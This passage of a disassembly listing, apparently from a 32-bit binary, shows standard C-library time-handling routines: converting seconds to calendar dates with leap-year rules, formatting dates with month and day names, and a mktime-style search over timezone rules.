		mov	eax, [ebp+8]
		push	offset unk_807B098
		push	0
		push	eax
		call	sub_805B144
		mov	eax, offset unk_807B098
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B1C4	proc near		; CODE XREF: sub_805B048+9Dp
					; sub_805B144+37p

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		dec	ecx
		js	loc_805B363
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx]
		lea	edi, ds:0[ecx*8]
		mov	[ebp+var_C], edi
		add	edi, 0FFFFFFF8h
		mov	[ebp+var_10], edi
		mov	eax, [ebp+var_C]
		add	eax, 1780h
		mov	[ebp+var_1C], eax
		mov	ebx, ecx
		not	ebx
		mov	edx, ebx
		and	edx, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_805B25C
		test	edx, edx
		jz	short loc_805B27C
		cmp	edx, 3
		jge	short loc_805B25C
		cmp	edx, 2
		jge	short loc_805B245
		mov	edx, [ebp+arg_8]
		add	edx, eax
		cmp	[edx], esi
		jg	short loc_805B23C
		jnz	loc_805B349
		mov	edi, [ebp+var_8]
		jmp	loc_805B31F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B23C:				; CODE XREF: sub_805B1C4+66j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_805B245:				; CODE XREF: sub_805B1C4+5Dj
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_805B25C:				; CODE XREF: sub_805B1C4+4Fj
					; sub_805B1C4+58j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx
		js	loc_805B363
		lea	esi, [esi+0]

loc_805B27C:				; CODE XREF: sub_805B1C4+53j
					; sub_805B1C4+199j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	eax, [ebp+var_1C]
		mov	ebx, [ebp+arg_8]
		lea	edx, [ebx+eax-8]
		cmp	[edx], esi
		jg	short loc_805B2CC
		jnz	loc_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B2B8
		cmp	dword ptr [edx+4], 0
		jg	loc_805B342

loc_805B2B8:				; CODE XREF: sub_805B1C4+E8j
		mov	ebx, [edx+4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebp+var_10]
		cmp	[eax+edi+1784h], ebx
		jge	short loc_805B349
		jmp	short loc_805B342
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B2CC:				; CODE XREF: sub_805B1C4+D7j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	edi, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+edi-10h]
		cmp	[edx], esi
		jg	short loc_805B308
		jnz	short loc_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B2F2
		cmp	dword ptr [edx+4], 0
		jg	short loc_805B342

loc_805B2F2:				; CODE XREF: sub_805B1C4+126j
		mov	eax, [edx+4]
		mov	ebx, [ebp+arg_8]
		mov	edi, [ebp+var_10]
		cmp	[edi+ebx+1784h], eax
		jge	short loc_805B349
		jmp	short loc_805B342
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B308:				; CODE XREF: sub_805B1C4+119j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	ebx, [ebp+var_1C]
		mov	edi, [ebp+arg_8]
		lea	edx, [edi+ebx-18h]
		cmp	[edx], esi
		jg	short loc_805B354

loc_805B31B:				; CODE XREF: sub_805B1C4+89j
					; sub_805B1C4+A0j ...
		cmp	[edx], esi
		jnz	short loc_805B349

loc_805B31F:				; CODE XREF: sub_805B1C4+71j
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B330
		cmp	dword ptr [edx+4], 0
		jg	short loc_805B342

loc_805B330:				; CODE XREF: sub_805B1C4+164j
		mov	edi, [edx+4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+var_10]
		cmp	[ebx+eax+1784h], edi
		jge	short loc_805B349

loc_805B342:				; CODE XREF: sub_805B1C4+EEj
					; sub_805B1C4+106j ...
		mov	[ebp+var_8], 1

loc_805B349:				; CODE XREF: sub_805B1C4+68j
					; sub_805B1C4+D9j ...
		mov	edx, [edx+4]
		mov	[ebp+var_4], edx
		jmp	short loc_805B363
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B354:				; CODE XREF: sub_805B1C4+155j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFE0h
		dec	ecx
		jns	loc_805B27C

loc_805B363:				; CODE XREF: sub_805B1C4+1Dj
					; sub_805B1C4+AFj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	eax, edx
		mov	ebx, 15180h
		cdq
		idiv	ebx
		mov	esi, eax
		mov	edi, [ebp+arg_4]
		sub	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		add	edx, edi
		jns	short loc_805B397
		lea	esi, [esi+0]

loc_805B384:				; CODE XREF: sub_805B1C4+1C7j
		dec	esi
		add	edx, 15180h
		js	short loc_805B384
		jmp	short loc_805B397
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B390:				; CODE XREF: sub_805B1C4+1D9j
		add	edx, 0FFFEAE80h
		inc	esi

loc_805B397:				; CODE XREF: sub_805B1C4+1BBj
					; sub_805B1C4+1C9j
		cmp	edx, 1517Fh
		jg	short loc_805B390
		mov	eax, edx
		mov	ebx, 0E10h
		cdq
		idiv	ebx
		mov	ecx, eax
		mov	edi, [ebp+arg_C]
		mov	[edi+8], ecx
		mov	eax, edx
		mov	ebx, 3Ch
		cdq
		idiv	ebx
		mov	ecx, eax
		mov	[edi+4], ecx
		mov	[edi], edx
		cmp	[ebp+var_8], 0
		jz	short loc_805B3CA
		inc	dword ptr [edi]

loc_805B3CA:				; CODE XREF: sub_805B1C4+202j
		lea	edx, [esi+4]
		mov	eax, edx
		mov	ebx, 7
		cdq
		idiv	ebx
		mov	edi, [ebp+arg_C]
		mov	[edi+18h], edx
		test	edx, edx
		jge	short loc_805B3E5
		add	dword ptr [edi+18h], 7

loc_805B3E5:				; CODE XREF: sub_805B1C4+21Bj
		mov	[ebp+var_10], 7B2h
		test	esi, esi
		jl	short loc_805B438

loc_805B3F0:				; CODE XREF: sub_805B1C4+272j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_805B40A
		mov	ebx, 64h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B419

loc_805B40A:				; CODE XREF: sub_805B1C4+238j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B420

loc_805B419:				; CODE XREF: sub_805B1C4+244j
		mov	[ebp+var_1C], 1

loc_805B420:				; CODE XREF: sub_805B1C4+253j
		mov	edi, [ebp+var_1C]
		cmp	ds:dword_8068F28[edi*4], esi
		jg	short loc_805B477
		inc	[ebp+var_10]
		sub	esi, ds:dword_8068F28[edi*4]
		jmp	short loc_805B3F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B438:				; CODE XREF: sub_805B1C4+22Aj
					; sub_805B1C4+2B1j
		dec	[ebp+var_10]
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_805B455
		mov	ebx, 64h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B464

loc_805B455:				; CODE XREF: sub_805B1C4+283j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B46B

loc_805B464:				; CODE XREF: sub_805B1C4+28Fj
		mov	[ebp+var_1C], 1

loc_805B46B:				; CODE XREF: sub_805B1C4+29Ej
		mov	edi, [ebp+var_1C]
		add	esi, ds:dword_8068F28[edi*4]
		js	short loc_805B438

loc_805B477:				; CODE XREF: sub_805B1C4+266j
		mov	ebx, [ebp+var_10]
		add	ebx, 0FFFFF894h
		mov	eax, [ebp+arg_C]
		mov	[eax+14h], ebx
		mov	[eax+1Ch], esi
		mov	edi, [ebp+var_1C]
		add	edi, edi
		mov	eax, [ebp+var_1C]
		add	edi, eax
		shl	edi, 4
		mov	edx, edi
		add	edx, offset unk_8068EC8
		mov	ebx, [ebp+arg_C]
		mov	dword ptr [ebx+10h], 0
		cmp	dword ptr ds:unk_8068EC8[edi], esi
		jg	short loc_805B4C7

loc_805B4B0:				; CODE XREF: sub_805B1C4+301j
		mov	edi, [ebp+arg_C]
		mov	edi, [edi+10h]
		sub	esi, [edx+edi*4]
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax+10h]
		mov	ebx, [eax+10h]
		cmp	[edx+ebx*4], esi
		jle	short loc_805B4B0

loc_805B4C7:				; CODE XREF: sub_805B1C4+2EAj
		inc	esi
		mov	edi, [ebp+arg_C]
		mov	[edi+0Ch], esi
		mov	dword ptr [edi+20h], 0
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B1C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B4E0	proc near		; CODE XREF: sub_805B530+Cp
					; .text:0805B57Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, 76Ch
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+10h]
		lea	eax, [eax+eax*2]
		add	eax, offset aJanfebmaraprma ; "JanFebMarAprMayJunJulAugSepOctNovDec%.3"...
		push	eax
		mov	eax, [edx+18h]
		lea	eax, [eax+eax*2]
		add	eax, offset unk_8068F3E
		push	eax
		push	8068F77h
		push	ebx
		call	sprintf
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805B4E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B530	proc near		; CODE XREF: sub_805B548+Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807B0C4
		push	eax
		call	sub_805B4E0
		mov	esp, ebp
		pop	ebp
		retn
sub_805B530	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B548	proc near		; CODE XREF: sub_8054EC8+80p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_805B10C
		push	eax
		call	sub_805B530
		mov	esp, ebp
		pop	ebp
		retn
sub_805B548	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+8]
		mov	edx, [ebp+0Ch]
		push	edx
		lea	edx, [ebp-2Ch]
		push	edx
		push	eax
		call	sub_805B128
		add	esp, 8
		push	eax
		call	sub_805B4E0
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B584	proc near		; CODE XREF: sub_805B61C+30p
					; sub_805B61C+42p ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		cmp	[ecx], eax
		jl	short loc_805B5B4
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	edi, eax
		add	[esi], edi
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	esi, edx
		mov	[ecx], esi
		jmp	short loc_805B5D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B5B4:				; CODE XREF: sub_805B584+14j
		cmp	dword ptr [ecx], 0
		jge	short loc_805B5D3
		mov	eax, [ecx]
		inc	eax
		mov	ebx, [ebp+arg_8]
		sub	ebx, eax
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		imul	eax, ebx
		add	[ecx], eax
		sub	[esi], ebx

loc_805B5D3:				; CODE XREF: sub_805B584+2Ej
					; sub_805B584+33j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B5E0	proc near		; CODE XREF: sub_805B61C+1A9p
					; sub_805B61C+288p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		sub	eax, [edx+14h]
		jnz	short loc_805B615
		mov	eax, [ecx+10h]
		sub	eax, [edx+10h]
		jnz	short loc_805B615
		mov	eax, [ecx+0Ch]
		sub	eax, [edx+0Ch]
		jnz	short loc_805B615
		mov	eax, [ecx+8]
		sub	eax, [edx+8]
		jnz	short loc_805B615
		mov	eax, [ecx+4]
		sub	eax, [edx+4]
		jnz	short loc_805B615
		mov	eax, [ecx]
		sub	eax, [edx]

loc_805B615:				; CODE XREF: sub_805B5E0+Fj
					; sub_805B5E0+17j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_805B5E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B61C	proc near		; CODE XREF: sub_805B914+26p
					; sub_805B914+DBp

var_7C		= byte ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 0
		lea	edi, [ebp+var_2C]
		mov	esi, [ebp+arg_0]
		cld
		mov	ecx, 0Bh
		repe movsd
		cmp	[ebp+var_2C], 3Dh
		jbe	short loc_805B654
		push	3Ch
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_805B584
		add	esp, 0Ch

loc_805B654:				; CODE XREF: sub_805B61C+24j
		push	3Ch
		lea	eax, [ebp+var_28]
		push	eax
		lea	ebx, [ebp+var_24]
		push	ebx
		call	sub_805B584
		push	18h
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_805B584
		push	0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_805B584
		add	esp, 24h
		cmp	[ebp+var_20], 0
		jg	short loc_805B6FC
		nop

loc_805B688:				; CODE XREF: sub_805B61C+DDj
		dec	[ebp+var_18]
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B69B
		add	eax, 76Dh

loc_805B69B:				; CODE XREF: sub_805B61C+78j
		test	al, 3
		jnz	short loc_805B6C1
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B6B0
		add	eax, 76Dh
		jmp	short loc_805B6B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B6B0:				; CODE XREF: sub_805B61C+8Aj
		add	eax, 76Ch

loc_805B6B5:				; CODE XREF: sub_805B61C+91j
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B6E5

loc_805B6C1:				; CODE XREF: sub_805B61C+81j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B6D4
		add	eax, 76Dh
		jmp	short loc_805B6D9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B6D4:				; CODE XREF: sub_805B61C+ACj
		add	eax, 76Ch

loc_805B6D9:				; CODE XREF: sub_805B61C+B3j
		mov	ecx, 190h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B6EA

loc_805B6E5:				; CODE XREF: sub_805B61C+A3j
		mov	ebx, 1

loc_805B6EA:				; CODE XREF: sub_805B61C+C7j
		mov	eax, [ebp+var_20]
		add	eax, ds:dword_8068F28[ebx*4]
		mov	[ebp+var_20], eax
		test	eax, eax
		jle	short loc_805B688
		nop

loc_805B6FC:				; CODE XREF: sub_805B61C+69j
					; sub_805B61C+13Fj ...
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		test	al, 3
		jnz	short loc_805B716
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B72A

loc_805B716:				; CODE XREF: sub_805B61C+ECj
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		mov	ecx, 190h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B72F

loc_805B72A:				; CODE XREF: sub_805B61C+F8j
		mov	ebx, 1

loc_805B72F:				; CODE XREF: sub_805B61C+10Cj
		mov	eax, ebx
		add	eax, ebx
		add	eax, ebx
		shl	eax, 4
		mov	ecx, [ebp+var_1C]
		lea	edx, ds:0[ecx*4]
		mov	eax, dword ptr ds:unk_8068EC8[eax+edx]
		mov	[ebp+var_64], eax
		cmp	[ebp+var_20], eax
		jle	short loc_805B76C
		sub	[ebp+var_20], eax
		inc	[ebp+var_1C]
		cmp	[ebp+var_1C], 0Bh
		jle	short loc_805B6FC
		mov	[ebp+var_1C], 0
		inc	[ebp+var_18]
		jmp	short loc_805B6FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B76C:				; CODE XREF: sub_805B61C+133j
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_68], ecx
		mov	[ebp+var_2C], 0
		xor	ebx, ebx
		mov	[ebp+var_5C], 1
		lea	esi, [esi]

loc_805B784:				; CODE XREF: sub_805B61C+175j
		inc	ebx
		mov	ecx, [ebp+var_5C]
		mov	eax, ecx
		add	eax, ecx
		mov	[ebp+var_5C], eax
		test	eax, eax
		jg	short loc_805B784
		xor	edx, edx
		test	eax, eax
		jl	short loc_805B7A2
		mov	edx, 1
		mov	ecx, ebx
		shl	edx, cl

loc_805B7A2:				; CODE XREF: sub_805B61C+17Bj
		mov	[ebp+var_5C], edx
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_6C], ecx
		nop

loc_805B7AC:				; CODE XREF: sub_805B61C+1C9j
					; sub_805B61C+1DCj ...
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_805B5E0
		mov	edx, eax
		add	esp, 14h
		test	edx, edx
		jz	short loc_805B80C
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jl	loc_805B8DC
		test	ebx, ebx
		jge	short loc_805B7E8
		dec	[ebp+var_5C]
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B7E8:				; CODE XREF: sub_805B61C+1C4j
		test	edx, edx
		jle	short loc_805B7FC
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		sub	[ebp+var_5C], eax
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B7FC:				; CODE XREF: sub_805B61C+1CEj
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		add	[ebp+var_5C], eax
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B80C:				; CODE XREF: sub_805B61C+1B5j
		cmp	[ebp+var_C], 0
		jl	loc_805B8E4
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jz	loc_805B8E4
		mov	ebx, offset unk_807C9F0
		cmp	[ebp+arg_4], offset sub_805B048
		jnz	short loc_805B835
		mov	ebx, offset dword_807B0E0

loc_805B835:				; CODE XREF: sub_805B61C+212j
		mov	[ebp+var_64], 0
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jle	loc_805B8DC
		mov	[ebp+var_70], 0
		nop

loc_805B850:				; CODE XREF: sub_805B61C+2BAj
		mov	ecx, [ebp+var_70]
		mov	eax, [ecx+ebx+750h]
		cmp	[ebp+var_C], eax
		jnz	short loc_805B8C9
		xor	edi, edi
		cmp	[ebx+8], edi
		jle	short loc_805B8C9
		xor	esi, esi

loc_805B868:				; CODE XREF: sub_805B61C+2ABj
		mov	eax, [esi+ebx+750h]
		cmp	[ebp+var_C], eax
		jz	short loc_805B8C0
		mov	eax, [ebp+var_5C]
		add	eax, [esi+ebx+74Ch]
		mov	ecx, [ebp+var_70]
		sub	eax, [ecx+ebx+74Ch]
		mov	[ebp+var_60], eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_805B5E0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_805B8C0
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jnz	short loc_805B8C0
		mov	eax, [ebp+var_60]
		mov	[ebp+var_5C], eax
		jmp	short loc_805B8E4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B8C0:				; CODE XREF: sub_805B61C+256j
					; sub_805B61C+292j ...
		add	esi, 10h
		inc	edi
		cmp	[ebx+8], edi
		jg	short loc_805B868

loc_805B8C9:				; CODE XREF: sub_805B61C+241j
					; sub_805B61C+248j
		add	[ebp+var_70], 10h
		inc	[ebp+var_64]
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jg	loc_805B850

loc_805B8DC:				; CODE XREF: sub_805B61C+1BCj
					; sub_805B61C+226j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805B907
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B8E4:				; CODE XREF: sub_805B61C+1F4j
					; sub_805B61C+200j ...
		mov	ecx, [ebp+var_68]
		add	[ebp+var_5C], ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	eax, [ebp+var_5C]

loc_805B907:				; CODE XREF: sub_805B61C+2C5j
		lea	esp, [ebp+var_7C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B61C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B914	proc near		; CODE XREF: .text:0805BA5Ep
					; .text:0805BA7Dp

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+20h], 1
		jle	short loc_805B92D
		mov	dword ptr [edi+20h], 1

loc_805B92D:				; CODE XREF: sub_805B914+10j
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	loc_805BA45
		cmp	dword ptr [edi+20h], 0
		jl	loc_805BA45
		mov	ebx, offset unk_807C9F0
		cmp	[ebp+arg_4], offset sub_805B048
		jnz	short loc_805B969
		mov	ebx, offset dword_807B0E0

loc_805B969:				; CODE XREF: sub_805B914+4Ej
		mov	[ebp+var_8], 0
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jle	loc_805BA40
		mov	[ebp+var_14], 0
		nop

loc_805B984:				; CODE XREF: sub_805B914+126j
		mov	edx, [ebp+var_14]
		mov	eax, [edx+ebx+750h]
		cmp	[edi+20h], eax
		jnz	loc_805BA2D
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jle	loc_805BA2D
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		xor	esi, esi
		lea	esi, [esi]

loc_805B9B4:				; CODE XREF: sub_805B914+117j
		mov	eax, [esi+ebx+750h]
		cmp	[edi+20h], eax
		jz	short loc_805BA1F
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		add	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	short loc_805BA45
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		sub	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax

loc_805BA1F:				; CODE XREF: sub_805B914+AAj
		add	esi, 10h
		inc	[ebp+var_C]
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jg	short loc_805B9B4

loc_805BA2D:				; CODE XREF: sub_805B914+7Dj
					; sub_805B914+90j
		add	[ebp+var_14], 10h
		inc	[ebp+var_8]
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jg	loc_805B984

loc_805BA40:				; CODE XREF: sub_805B914+62j
		mov	eax, 0FFFFFFFFh

loc_805BA45:				; CODE XREF: sub_805B914+32j
					; sub_805B914+3Cj ...
		lea	esp, [ebp+var_20]
